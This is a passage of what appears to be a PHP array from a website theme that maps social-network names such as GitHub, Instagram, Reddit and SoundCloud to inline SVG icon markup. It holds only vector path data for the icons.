c0,0.467,0.337,0.798,0.805,0.798c0,0,3.197,0,3.528,0s0.655,0.362,0.583,0.715c-0.072,0.353-0.407,2.102-0.448,2.295 c-0.04,0.193-0.262,0.523-0.655,0.523c-0.33,0-2.88,0-2.88,0c-0.523,0-0.683,0.068-1.033,0.503 c-0.35,0.437-3.505,4.223-3.505,4.223c-0.032,0.035-0.063,0.027-0.063-0.015V4.852c0-0.298,0.26-0.648,0.648-0.648 c0,0,8.228,0,8.562,0c0.315,0,0.61,0.297,0.528,0.683L16.495,7.22z"></path></svg>', 'goodreads' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M17.3,17.5c-0.2,0.8-0.5,1.4-1,1.9c-0.4,0.5-1,0.9-1.7,1.2C13.9,20.9,13.1,21,12,21c-0.6,0-1.3-0.1-1.9-0.2 c-0.6-0.1-1.1-0.4-1.6-0.7c-0.5-0.3-0.9-0.7-1.2-1.2c-0.3-0.5-0.5-1.1-0.5-1.7h1.5c0.1,0.5,0.2,0.9,0.5,1.2 c0.2,0.3,0.5,0.6,0.9,0.8c0.3,0.2,0.7,0.3,1.1,0.4c0.4,0.1,0.8,0.1,1.2,0.1c1.4,0,2.5-0.4,3.1-1.2c0.6-0.8,1-2,1-3.5v-1.7h0 c-0.4,0.8-0.9,1.4-1.6,1.9c-0.7,0.5-1.5,0.7-2.4,0.7c-1,0-1.9-0.2-2.6-0.5C8.7,15,8.1,14.5,7.7,14c-0.5-0.6-0.8-1.3-1-2.1 c-0.2-0.8-0.3-1.6-0.3-2.5c0-0.9,0.1-1.7,0.4-2.5c0.3-0.8,0.6-1.5,1.1-2c0.5-0.6,1.1-1,1.8-1.4C10.3,3.2,11.1,3,12,3 c0.5,0,0.9,0.1,1.3,0.2c0.4,0.1,0.8,0.3,1.1,0.5c0.3,0.2,0.6,0.5,0.9,0.8c0.3,0.3,0.5,0.6,0.6,1h0V3.4h1.5V15 C17.6,15.9,17.5,16.7,17.3,17.5z M13.8,14.1c0.5-0.3,0.9-0.7,1.3-1.1c0.3-0.5,0.6-1,0.8-1.6c0.2-0.6,0.3-1.2,0.3-1.9 c0-0.6-0.1-1.2-0.2-1.9c-0.1-0.6-0.4-1.2-0.7-1.7c-0.3-0.5-0.7-0.9-1.3-1.2c-0.5-0.3-1.1-0.5-1.9-0.5s-1.4,0.2-1.9,0.5 c-0.5,0.3-1,0.7-1.3,1.2C8.5,6.4,8.3,7,8.1,7.6C8,8.2,7.9,8.9,7.9,9.5c0,0.6,0.1,1.3,0.2,1.9C8.3,12,8.6,12.5,8.9,13 c0.3,0.5,0.8,0.8,1.3,1.1c0.5,0.3,1.1,0.4,1.9,0.4C12.7,14.5,13.3,14.4,13.8,14.1z"></path></svg>', 'google' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M12.02,10.18v3.72v0.01h5.51c-0.26,1.57-1.67,4.22-5.5,4.22c-3.31,0-6.01-2.75-6.01-6.12s2.7-6.12,6.01-6.12 c1.87,0,3.13,0.8,3.85,1.48l2.84-2.76C16.99,2.99,14.73,2,12.03,2c-5.52,0-10,4.48-10,10s4.48,10,10,10c5.77,0,9.6-4.06,9.6-9.77 c0-0.83-0.11-1.42-0.25-2.05H12.02z"></path></svg>', 'github' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M12,2C6.477,2,2,6.477,2,12c0,4.419,2.865,8.166,6.839,9.489c0.5,0.09,0.682-0.218,0.682-0.484 c0-0.236-0.009-0.866-0.014-1.699c-2.782,0.602-3.369-1.34-3.369-1.34c-0.455-1.157-1.11-1.465-1.11-1.465 c-0.909-0.62,0.069-0.608,0.069-0.608c1.004,0.071,1.532,1.03,1.532,1.03c0.891,1.529,2.341,1.089,2.91,0.833 c0.091-0.647,0.349-1.086,0.635-1.337c-2.22-0.251-4.555-1.111-4.555-4.943c0-1.091,0.39-1.984,1.03-2.682 C6.546,8.54,6.202,7.524,6.746,6.148c0,0,0.84-0.269,2.75,1.025C10.295,6.95,11.15,6.84,12,6.836 c0.85,0.004,1.705,0.114,2.504,0.336c1.909-1.294,2.748-1.025,2.748-1.025c0.546,1.376,0.202,2.394,0.1,2.646 c0.64,0.699,1.026,1.591,1.026,2.682c0,3.841-2.337,4.687-4.565,4.935c0.359,0.307,0.679,0.917,0.679,1.852 c0,1.335-0.012,2.415-0.012,2.741c0,0.269,0.18,0.579,0.688,0.481C19.138,20.161,22,16.416,22,12C22,6.477,17.523,2,12,2z"></path></svg>', 'instagram' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M12,4.622c2.403,0,2.688,0.009,3.637,0.052c0.877,0.04,1.354,0.187,1.671,0.31c0.42,0.163,0.72,0.358,1.035,0.673 c0.315,0.315,0.51,0.615,0.673,1.035c0.123,0.317,0.27,0.794,0.31,1.671c0.043,0.949,0.052,1.234,0.052,3.637 s-0.009,2.688-0.052,3.637c-0.04,0.877-0.187,1.354-0.31,1.671c-0.163,0.42-0.358,0.72-0.673,1.035 c-0.315,0.315-0.615,0.51-1.035,0.673c-0.317,0.123-0.794,0.27-1.671,0.31c-0.949,0.043-1.233,0.052-3.637,0.052 s-2.688-0.009-3.637-0.052c-0.877-0.04-1.354-0.187-1.671-0.31c-0.42-0.163-0.72-0.358-1.035-0.673 c-0.315-0.315-0.51-0.615-0.673-1.035c-0.123-0.317-0.27-0.794-0.31-1.671C4.631,14.688,4.622,14.403,4.622,12 s0.009-2.688,0.052-3.637c0.04-0.877,0.187-1.354,0.31-1.671c0.163-0.42,0.358-0.72,0.673-1.035 c0.315-0.315,0.615-0.51,1.035-0.673c0.317-0.123,0.794-0.27,1.671-0.31C9.312,4.631,9.597,4.622,12,4.622 M12,3 C9.556,3,9.249,3.01,8.289,3.054C7.331,3.098,6.677,3.25,6.105,3.472C5.513,3.702,5.011,4.01,4.511,4.511 c-0.5,0.5-0.808,1.002-1.038,1.594C3.25,6.677,3.098,7.331,3.054,8.289C3.01,9.249,3,9.556,3,12c0,2.444,0.01,2.751,0.054,3.711 c0.044,0.958,0.196,1.612,0.418,2.185c0.23,0.592,0.538,1.094,1.038,1.594c0.5,0.5,1.002,0.808,1.594,1.038 c0.572,0.222,1.227,0.375,2.185,0.418C9.249,20.99,9.556,21,12,21s2.751-0.01,3.711-0.054c0.958-0.044,1.612-0.196,2.185-0.418 c0.592-0.23,1.094-0.538,1.594-1.038c0.5-0.5,0.808-1.002,1.038-1.594c0.222-0.572,0.375-1.227,0.418-2.185 C20.99,14.751,21,14.444,21,12s-0.01-2.751-0.054-3.711c-0.044-0.958-0.196-1.612-0.418-2.185c-0.23-0.592-0.538-1.094-1.038-1.594 c-0.5-0.5-1.002-0.808-1.594-1.038c-0.572-0.222-1.227-0.375-2.185-0.418C14.751,3.01,14.444,3,12,3L12,3z M12,7.378 c-2.552,0-4.622,2.069-4.622,4.622S9.448,16.622,12,16.622s4.622-2.069,4.622-4.622S14.552,7.378,12,7.378z M12,15 c-1.657,0-3-1.343-3-3s1.343-3,3-3s3,1.343,3,3S13.657,15,12,15z M16.804,6.116c-0.596,0-1.08,0.484-1.08,1.08 s0.484,1.08,1.08,1.08c0.596,0,1.08-0.484,1.08-1.08S17.401,6.116,16.804,6.116z"></path></svg>', 'lastfm' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M10.5002,0 C4.7006,0 0,4.70109753 0,10.4998496 C0,16.2989526 4.7006,21 10.5002,21 C16.299,21 21,16.2989526 21,10.4998496 C21,4.70109753 16.299,0 10.5002,0 Z M14.69735,14.7204413 C13.3164,14.7151781 12.4346,14.0870017 11.83445,12.6859357 L11.6816001,12.3451305 L10.35405,9.31011397 C9.92709997,8.26875064 8.85260001,7.57120012 7.68010001,7.57120012 C6.06945001,7.57120012 4.75925001,8.88509738 4.75925001,10.5009524 C4.75925001,12.1164565 6.06945001,13.4303036 7.68010001,13.4303036 C8.77200001,13.4303036 9.76514999,12.827541 10.2719501,11.8567047 C10.2893,11.8235214 10.3239,11.8019673 10.36305,11.8038219 C10.4007,11.8053759 10.43535,11.8287847 10.4504,11.8631709 L10.98655,13.1045863 C11.0016,13.1389726 10.9956,13.17782 10.97225,13.2068931 C10.1605001,14.1995341 8.96020001,14.7683115 7.68010001,14.7683115 C5.33305,14.7683115 3.42340001,12.8535563 3.42340001,10.5009524 C3.42340001,8.14679459 5.33300001,6.23203946 7.68010001,6.23203946 C9.45720002,6.23203946 10.8909,7.19074535 11.6138,8.86359341 C11.6205501,8.88018505 12.3412,10.5707777 12.97445,12.0190621 C13.34865,12.8739575 13.64615,13.3959676 14.6288,13.4291508 C15.5663001,13.4612814 16.25375,12.9121534 16.25375,12.1484869 C16.25375,11.4691321 15.8320501,11.3003585 14.8803,10.98216 C13.2365,10.4397989 12.34495,9.88605929 12.34495,8.51817658 C12.34495,7.1809207 13.26665,6.31615054 14.692,6.31615054 C15.62875,6.31615054 16.3155,6.7286858 16.79215,7.5768142 C16.80495,7.60062396 16.8079001,7.62814302 16.8004001,7.65420843 C16.7929,7.68027384 16.7748,7.70212868 16.7507001,7.713808 L15.86145,8.16900031 C15.8178001,8.19200805 15.7643,8.17807308 15.73565,8.13847371 C15.43295,7.71345711 15.0956,7.52513451 14.6423,7.52513451 C14.05125,7.52513451 13.6220001,7.92899802 13.6220001,8.48649708 C13.6220001,9.17382194 14.1529001,9.34144259 15.0339,9.61923972 C15.14915,9.65578139 15.26955,9.69397731 15.39385,9.73432853 C16.7763,10.1865133 17.57675,10.7311301 17.57675,12.1836251 C17.57685,13.629654 16.3389,14.7204413 14.69735,14.7204413 Z"></path></svg>', 'linkedin' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M19.7,3H4.3C3.582,3,3,3.582,3,4.3v15.4C3,20.418,3.582,21,4.3,21h15.4c0.718,0,1.3-0.582,1.3-1.3V4.3 C21,3.582,20.418,3,19.7,3z M8.339,18.338H5.667v-8.59h2.672V18.338z M7.004,8.574c-0.857,0-1.549-0.694-1.549-1.548 c0-0.855,0.691-1.548,1.549-1.548c0.854,0,1.547,0.694,1.547,1.548C8.551,7.881,7.858,8.574,7.004,8.574z M18.339,18.338h-2.669 v-4.177c0-0.996-0.017-2.278-1.387-2.278c-1.389,0-1.601,1.086-1.601,2.206v4.249h-2.667v-8.59h2.559v1.174h0.037 c0.356-0.675,1.227-1.387,2.526-1.387c2.703,0,3.203,1.779,3.203,4.092V18.338z"></path></svg>', 'mail' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M20,4H4C2.895,4,2,4.895,2,6v12c0,1.105,0.895,2,2,2h16c1.105,0,2-0.895,2-2V6C22,4.895,21.105,4,20,4z M20,8.236l-8,4.882 L4,8.236V6h16V8.236z"></path></svg>', 'mastodon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M23.193 7.879c0-5.206-3.411-6.732-3.411-6.732C18.062.357 15.108.025 12.041 0h-.076c-3.068.025-6.02.357-7.74 1.147 0 0-3.411 1.526-3.411 6.732 0 1.192-.023 2.618.015 4.129.124 5.092.934 10.109 5.641 11.355 2.17.574 4.034.695 5.535.612 2.722-.15 4.25-.972 4.25-.972l-.09-1.975s-1.945.613-4.129.539c-2.165-.074-4.449-.233-4.799-2.891a5.499 5.499 0 0 1-.048-.745s2.125.52 4.817.643c1.646.075 3.19-.097 4.758-.283 3.007-.359 5.625-2.212 5.954-3.905.517-2.665.475-6.507.475-6.507zm-4.024 6.709h-2.497V8.469c0-1.29-.543-1.944-1.628-1.944-1.2 0-1.802.776-1.802 2.312v3.349h-2.483v-3.35c0-1.536-.602-2.312-1.802-2.312-1.085 0-1.628.655-1.628 1.944v6.119H4.832V8.284c0-1.289.328-2.313.987-3.07.68-.758 1.569-1.146 2.674-1.146 1.278 0 2.246.491 2.886 1.474L12 6.585l.622-1.043c.64-.983 1.608-1.474 2.886-1.474 1.104 0 1.994.388 2.674 1.146.658.757.986 1.781.986 3.07v6.304z"/></svg>', 'medium' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M20.962,7.257l-5.457,8.867l-3.923-6.375l3.126-5.08c0.112-0.182,0.319-0.286,0.527-0.286c0.05,0,0.1,0.008,0.149,0.02 c0.039,0.01,0.078,0.023,0.114,0.041l5.43,2.715l0.006,0.003c0.004,0.002,0.007,0.006,0.011,0.008 C20.971,7.191,20.98,7.227,20.962,7.257z M9.86,8.592v5.783l5.14,2.57L9.86,8.592z M15.772,17.331l4.231,2.115 C20.554,19.721,21,19.529,21,19.016V8.835L15.772,17.331z M8.968,7.178L3.665,4.527C3.569,4.479,3.478,4.456,3.395,4.456 C3.163,4.456,3,4.636,3,4.938v11.45c0,0.306,0.224,0.669,0.498,0.806l4.671,2.335c0.12,0.06,0.234,0.088,0.337,0.088 c0.29,0,0.494-0.225,0.494-0.602V7.231C9,7.208,8.988,7.188,8.968,7.178z"></path></svg>', 'meetup' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M19.24775,14.722a3.57032,3.57032,0,0,1-2.94457,3.52073,3.61886,3.61886,0,0,1-.64652.05634c-.07314-.0008-.10187.02846-.12507.09547A2.38881,2.38881,0,0,1,13.49453,20.094a2.33092,2.33092,0,0,1-1.827-.50716.13635.13635,0,0,0-.19878-.00408,3.191,3.191,0,0,1-2.104.60248,3.26309,3.26309,0,0,1-3.00324-2.71993,2.19076,2.19076,0,0,1-.03512-.30865c-.00156-.08579-.03413-.1189-.11608-.13493a2.86421,2.86421,0,0,1-1.23189-.56111,2.945,2.945,0,0,1-1.166-2.05749,2.97484,2.97484,0,0,1,.87524-2.50774.112.112,0,0,0,.02091-.16107,2.7213,2.7213,0,0,1-.36648-1.48A2.81256,2.81256,0,0,1,6.57673,7.58838a.35764.35764,0,0,0,.28869-.22819,4.2208,4.2208,0,0,1,6.02892-1.90111.25161.25161,0,0,0,.22023.0243,3.65608,3.65608,0,0,1,3.76031.90678A3.57244,3.57244,0,0,1,17.95918,8.626a2.97339,2.97339,0,0,1,.01829.57356.10637.10637,0,0,0,.0853.12792,1.97669,1.97669,0,0,1,1.27939,1.33733,2.00266,2.00266,0,0,1-.57112,2.12652c-.05284.05166-.04168.08328-.01173.13489A3.51189,3.51189,0,0,1,19.24775,14.722Zm-6.35959-.27836a1.6984,1.6984,0,0,0,1.14556,1.61113,3.82039,3.82039,0,0,0,1.036.17935,1.46888,1.46888,0,0,0,.73509-.12255.44082.44082,0,0,0,.26057-.44274.45312.45312,0,0,0-.29211-.43375.97191.97191,0,0,0-.20678-.063c-.21326-.03806-.42754-.0701-.63973-.11215a.54787.54787,0,0,1-.50172-.60926,2.75864,2.75864,0,0,1,.1773-.901c.1763-.535.414-1.045.64183-1.55913A12.686,12.686,0,0,0,15.85,10.47863a1.58461,1.58461,0,0,0,.04861-.87208,1.04531,1.04531,0,0,0-.85432-.83981,1.60658,1.60658,0,0,0-1.23654.16594.27593.27593,0,0,1-.36286-.03413c-.085-.0747-.16594-.15379-.24918-.23055a.98682.98682,0,0,0-1.33577-.04933,6.1468,6.1468,0,0,1-.4989.41615.47762.47762,0,0,1-.51535.03566c-.17448-.09307-.35512-.175-.53531-.25665a1.74949,1.74949,0,0,0-.56476-.2016,1.69943,1.69943,0,0,0-1.61654.91787,8.05815,8.05815,0,0,0-.32952.80126c-.45471,1.2557-.82507,2.53825-1.20838,3.81639a1.24151,1.24151,0,0,0,.51532,1.44389,1.42659,1.42659,0,0,0,1.22008.17166,1.09728,1.09728,0,0,0,.66994-.69764c.44145-1.04111.839-2.09989,1.25981-3.14926.11581-.28876.22792-.57874.35078-.86438a.44548.44548,0,0,1,.69189-.19539.50521.50521,0,0,1,.15044.43836,1.75625,1.75625,0,0,1-.14731.50453c-.27379.69219-.55265,1.38236-.82766,2.074a2.0836,2.0836,0,0,0-.14038.42876.50719.50719,0,0,0,.27082.57722.87236.87236,0,0,0,.66145.02739.99137.99137,0,0,0,.53406-.532q.61571-1.20914,1.228-2.42031.28423-.55863.57585-1.1133a.87189.87189,0,0,1,.29055-.35253.34987.34987,0,0,1,.37634-.01265.30291.30291,0,0,1,.12434.31459.56716.56716,0,0,1-.04655.1915c-.05318.12739-.10286.25669-.16183.38156-.34118.71775-.68754,1.43273-1.02568,2.152A2.00213,2.00213,0,0,0,12.88816,14.44366Zm4.78568,5.28972a.88573.88573,0,0,0-1.77139.00465.8857.8857,0,0,0,1.77139-.00465Zm-14.83838-7.296a.84329.84329,0,1,0,.00827-1.68655.8433.8433,0,0,0-.00827,1.68655Zm10.366-9.43673a.83506.83506,0,1,0-.0091,1.67.83505.83505,0,0,0,.0091-1.67Zm6.85014,5.22a.71651.71651,0,0,0-1.433.0093.71656.71656,0,0,0,1.433-.0093ZM5.37528,6.17908A.63823.63823,0,1,0,6.015,5.54483.62292.62292,0,0,0,5.37528,6.17908Zm6.68214,14.80843a.54949.54949,0,1,0-.55052.541A.54556.54556,0,0,0,12.05742,20.98752Zm8.53235-8.49689a.54777.54777,0,0,0-.54027.54023.53327.53327,0,0,0,.532.52293.51548.51548,0,0,0,.53272-.5237A.53187.53187,0,0,0,20.58977,12.49063ZM7.82846,2.4715a.44927.44927,0,1,0,.44484.44766A.43821.43821,0,0,0,7.82846,2.4715Zm13.775,7.60492a.41186.41186,0,0,0-.40065.39623.40178.40178,0,0,0,.40168.40168A.38994.38994,0,0,0,22,10.48172.39946.39946,0,0,0,21.60349,10.07642ZM5.79193,17.96207a.40469.40469,0,0,0-.397-.39646.399.399,0,0,0-.396.405.39234.39234,0,0,0,.39939.389A.39857.39857,0,0,0,5.79193,17.96207Z"></path></svg>', 'pinterest' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M12.289,2C6.617,2,3.606,5.648,3.606,9.622c0,1.846,1.025,4.146,2.666,4.878c0.25,0.111,0.381,0.063,0.439-0.169 c0.044-0.175,0.267-1.029,0.365-1.428c0.032-0.128,0.017-0.237-0.091-0.362C6.445,11.911,6.01,10.75,6.01,9.668 c0-2.777,2.194-5.464,5.933-5.464c3.23,0,5.49,2.108,5.49,5.122c0,3.407-1.794,5.768-4.13,5.768c-1.291,0-2.257-1.021-1.948-2.277 c0.372-1.495,1.089-3.112,1.089-4.191c0-0.967-0.542-1.775-1.663-1.775c-1.319,0-2.379,1.309-2.379,3.059 c0,1.115,0.394,1.869,0.394,1.869s-1.302,5.279-1.54,6.261c-0.405,1.666,0.053,4.368,0.094,4.604 c0.021,0.126,0.167,0.169,0.25,0.063c0.129-0.165,1.699-2.419,2.142-4.051c0.158-0.59,0.817-2.995,0.817-2.995 c0.43,0.784,1.681,1.446,3.013,1.446c3.963,0,6.822-3.494,6.822-7.833C20.394,5.112,16.849,2,12.289,2"></path></svg>', 'pocket' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M21.927,4.194C21.667,3.48,20.982,3,20.222,3h-0.01h-1.721H3.839C3.092,3,2.411,3.47,2.145,4.17 C2.066,4.378,2.026,4.594,2.026,4.814v6.035l0.069,1.2c0.29,2.73,1.707,5.115,3.899,6.778c0.039,0.03,0.079,0.059,0.119,0.089 l0.025,0.018c1.175,0.859,2.491,1.441,3.91,1.727c0.655,0.132,1.325,0.2,1.991,0.2c0.615,0,1.232-0.057,1.839-0.17 c0.073-0.014,0.145-0.028,0.219-0.044c0.02-0.004,0.042-0.012,0.064-0.023c1.359-0.297,2.621-0.864,3.753-1.691l0.025-0.018 c0.04-0.029,0.08-0.058,0.119-0.089c2.192-1.664,3.609-4.049,3.898-6.778l0.069-1.2V4.814C22.026,4.605,22,4.398,21.927,4.194z M17.692,10.481l-4.704,4.512c-0.266,0.254-0.608,0.382-0.949,0.382c-0.342,0-0.684-0.128-0.949-0.382l-4.705-4.512 C5.838,9.957,5.82,9.089,6.344,8.542c0.524-0.547,1.392-0.565,1.939-0.04l3.756,3.601l3.755-3.601 c0.547-0.524,1.415-0.506,1.939,0.04C18.256,9.089,18.238,9.956,17.692,10.481z"></path></svg>', 'reddit' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M22,11.816c0-1.256-1.021-2.277-2.277-2.277c-0.593,0-1.122,0.24-1.526,0.614c-1.481-0.965-3.455-1.594-5.647-1.69 l1.171-3.702l3.18,0.748c0.008,1.028,0.846,1.862,1.876,1.862c1.035,0,1.877-0.842,1.877-1.878c0-1.035-0.842-1.877-1.877-1.877 c-0.769,0-1.431,0.466-1.72,1.13l-3.508-0.826c-0.203-0.047-0.399,0.067-0.46,0.261l-1.35,4.268 c-2.316,0.038-4.411,0.67-5.97,1.671C5.368,9.765,4.853,9.539,4.277,9.539C3.021,9.539,2,10.56,2,11.816 c0,0.814,0.433,1.523,1.078,1.925c-0.037,0.221-0.061,0.444-0.061,0.672c0,3.292,4.011,5.97,8.941,5.97s8.941-2.678,8.941-5.97 c0-0.214-0.02-0.424-0.053-0.632C21.533,13.39,22,12.661,22,11.816z M18.776,4.394c0.606,0,1.1,0.493,1.1,1.1s-0.493,1.1-1.1,1.1 s-1.1-0.494-1.1-1.1S18.169,4.394,18.776,4.394z M2.777,11.816c0-0.827,0.672-1.5,1.499-1.5c0.313,0,0.598,0.103,0.838,0.269 c-0.851,0.676-1.477,1.479-1.812,2.36C2.983,12.672,2.777,12.27,2.777,11.816z M11.959,19.606c-4.501,0-8.164-2.329-8.164-5.193 S7.457,9.22,11.959,9.22s8.164,2.329,8.164,5.193S16.46,19.606,11.959,19.606z M20.636,13.001c-0.326-0.89-0.948-1.701-1.797-2.384 c0.248-0.186,0.55-0.301,0.883-0.301c0.827,0,1.5,0.673,1.5,1.5C21.223,12.299,20.992,12.727,20.636,13.001z M8.996,14.704 c-0.76,0-1.397-0.616-1.397-1.376c0-0.76,0.637-1.397,1.397-1.397c0.76,0,1.376,0.637,1.376,1.397 C10.372,14.088,9.756,14.704,8.996,14.704z M16.401,13.328c0,0.76-0.616,1.376-1.376,1.376c-0.76,0-1.399-0.616-1.399-1.376 c0-0.76,0.639-1.397,1.399-1.397C15.785,11.931,16.401,12.568,16.401,13.328z M15.229,16.708c0.152,0.152,0.152,0.398,0,0.55 c-0.674,0.674-1.727,1.002-3.219,1.002c-0.004,0-0.007-0.002-0.011-0.002c-0.004,0-0.007,0.002-0.011,0.002 c-1.492,0-2.544-0.328-3.218-1.002c-0.152-0.152-0.152-0.398,0-0.55c0.152-0.152,0.399-0.151,0.55,0 c0.521,0.521,1.394,0.775,2.669,0.775c0.004,0,0.007,0.002,0.011,0.002c0.004,0,0.007-0.002,0.011-0.002 c1.275,0,2.148-0.253,2.669-0.775C14.831,16.556,15.078,16.556,15.229,16.708z"></path></svg>', 'skype' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M10.113,2.699c0.033-0.006,0.067-0.013,0.1-0.02c0.033,0.017,0.066,0.033,0.098,0.051L10.113,2.699z M2.72,10.223 c-0.006,0.034-0.011,0.069-0.017,0.103c0.018,0.032,0.033,0.064,0.051,0.095L2.72,10.223z M21.275,13.771 c0.007-0.035,0.011-0.071,0.018-0.106c-0.018-0.031-0.033-0.064-0.052-0.095L21.275,13.771z M13.563,21.199 c0.032,0.019,0.065,0.035,0.096,0.053c0.036-0.006,0.071-0.011,0.105-0.017L13.563,21.199z M22,16.386 c0,1.494-0.581,2.898-1.637,3.953c-1.056,1.057-2.459,1.637-3.953,1.637c-0.967,0-1.914-0.251-2.75-0.725 c0.036-0.006,0.071-0.011,0.105-0.017l-0.202-0.035c0.032,0.019,0.065,0.035,0.096,0.053c-0.543,0.096-1.099,0.147-1.654,0.147 c-1.275,0-2.512-0.25-3.676-0.743c-1.125-0.474-2.135-1.156-3.002-2.023c-0.867-0.867-1.548-1.877-2.023-3.002 c-0.493-1.164-0.743-2.401-0.743-3.676c0-0.546,0.049-1.093,0.142-1.628c0.018,0.032,0.033,0.064,0.051,0.095L2.72,10.223 c-0.006,0.034-0.011,0.069-0.017,0.103C2.244,9.5,2,8.566,2,7.615c0-1.493,0.582-2.898,1.637-3.953 c1.056-1.056,2.46-1.638,3.953-1.638c0.915,0,1.818,0.228,2.622,0.655c-0.033,0.007-0.067,0.013-0.1,0.02l0.199,0.031 c-0.032-0.018-0.066-0.034-0.098-0.051c0.002,0,0.003-0.001,0.004-0.001c0.586-0.112,1.187-0.169,1.788-0.169 c1.275,0,2.512,0.249,3.676,0.742c1.124,0.476,2.135,1.156,3.002,2.024c0.868,0.867,1.548,1.877,2.024,3.002 c0.493,1.164,0.743,2.401,0.743,3.676c0,0.575-0.054,1.15-0.157,1.712c-0.018-0.031-0.033-0.064-0.052-0.095l0.034,0.201 c0.007-0.035,0.011-0.071,0.018-0.106C21.754,14.494,22,15.432,22,16.386z M16.817,14.138c0-1.331-0.613-2.743-3.033-3.282 l-2.209-0.49c-0.84-0.192-1.807-0.444-1.807-1.237c0-0.794,0.679-1.348,1.903-1.348c2.468,0,2.243,1.696,3.468,1.696 c0.645,0,1.209-0.379,1.209-1.031c0-1.521-2.435-2.663-4.5-2.663c-2.242,0-4.63,0.952-4.63,3.488c0,1.221,0.436,2.521,2.839,3.123 l2.984,0.745c0.903,0.223,1.129,0.731,1.129,1.189c0,0.762-0.758,1.507-2.129,1.507c-2.679,0-2.307-2.062-3.743-2.062 c-0.645,0-1.113,0.444-1.113,1.078c0,1.236,1.501,2.886,4.856,2.886C15.236,17.737,16.817,16.199,16.817,14.138z"></path></svg>', 'snapchat' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M12.065,2a5.526,5.526,0,0,1,3.132.892A5.854,5.854,0,0,1,17.326,5.4a5.821,5.821,0,0,1,.351,2.33q0,.612-.117,2.487a.809.809,0,0,0,.365.091,1.93,1.93,0,0,0,.664-.176,1.93,1.93,0,0,1,.664-.176,1.3,1.3,0,0,1,.729.234.7.7,0,0,1,.351.6.839.839,0,0,1-.41.7,2.732,2.732,0,0,1-.9.41,3.192,3.192,0,0,0-.9.378.728.728,0,0,0-.41.618,1.575,1.575,0,0,0,.156.56,6.9,6.9,0,0,0,1.334,1.953,5.6,5.6,0,0,0,1.881,1.315,5.875,5.875,0,0,0,1.042.3.42.42,0,0,1,.365.456q0,.911-2.852,1.341a1.379,1.379,0,0,0-.143.507,1.8,1.8,0,0,1-.182.605.451.451,0,0,1-.429.241,5.878,5.878,0,0,1-.807-.085,5.917,5.917,0,0,0-.833-.085,4.217,4.217,0,0,0-.807.065,2.42,2.42,0,0,0-.82.293,6.682,6.682,0,0,0-.755.5q-.351.267-.755.527a3.886,3.886,0,0,1-.989.436A4.471,4.471,0,0,1,11.831,22a4.307,4.307,0,0,1-1.256-.176,3.784,3.784,0,0,1-.976-.436q-.4-.26-.749-.527a6.682,6.682,0,0,0-.755-.5,2.422,2.422,0,0,0-.807-.293,4.432,4.432,0,0,0-.82-.065,5.089,5.089,0,0,0-.853.1,5,5,0,0,1-.762.1.474.474,0,0,1-.456-.241,1.819,1.819,0,0,1-.182-.618,1.411,1.411,0,0,0-.143-.521q-2.852-.429-2.852-1.341a.42.42,0,0,1,.365-.456,5.793,5.793,0,0,0,1.042-.3,5.524,5.524,0,0,0,1.881-1.315,6.789,6.789,0,0,0,1.334-1.953A1.575,1.575,0,0,0,6,12.9a.728.728,0,0,0-.41-.618,3.323,3.323,0,0,0-.9-.384,2.912,2.912,0,0,1-.9-.41.814.814,0,0,1-.41-.684.71.71,0,0,1,.338-.593,1.208,1.208,0,0,1,.716-.241,1.976,1.976,0,0,1,.625.169,2.008,2.008,0,0,0,.69.169.919.919,0,0,0,.416-.091q-.117-1.849-.117-2.474A5.861,5.861,0,0,1,6.385,5.4,5.516,5.516,0,0,1,8.625,2.819,7.075,7.075,0,0,1,12.062,2Z"></path></svg>', 'soundcloud' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M8.9,16.1L9,14L8.9,9.5c0-0.1,0-0.1-0.1-0.1c0,0-0.1-0.1-0.1-0.1c-0.1,0-0.1,0-0.1,0.1c0,0-0.1,0.1-0.1,0.1L8.3,14l0.1,2.1 c0,0.1,0,0.1,0.1,0.1c0,0,0.1,0.1,0.1,0.1C8.8,16.3,8.9,16.3,8.9,16.1z M11.4,15.9l0.1-1.8L11.4,9c0-0.1,0-0.2-0.1-0.2 c0,0-0.1,0-0.1,0s-0.1,0-0.1,0c-0.1,0-0.1,0.1-0.1,0.2l0,0.1l-0.1,5c0,0,0,0.7,0.1,2v0c0,0.1,0,0.1,0.1,0.1c0.1,0.1,0.1,0.1,0.2,0.1 c0.1,0,0.1,0,0.2-0.1c0.1,0,0.1-0.1,0.1-0.2L11.4,15.9z M2.4,12.9L2.5,14l-0.2,1.1c0,0.1,0,0.1-0.1,0.1c0,0-0.1,0-0.1-0.1L2.1,14 l0.1-1.1C2.2,12.9,2.3,12.9,2.4,12.9C2.3,12.9,2.4,12.9,2.4,12.9z M3.1,12.2L3.3,14l-0.2,1.8c0,0.1,0,0.1-0.1,0.1 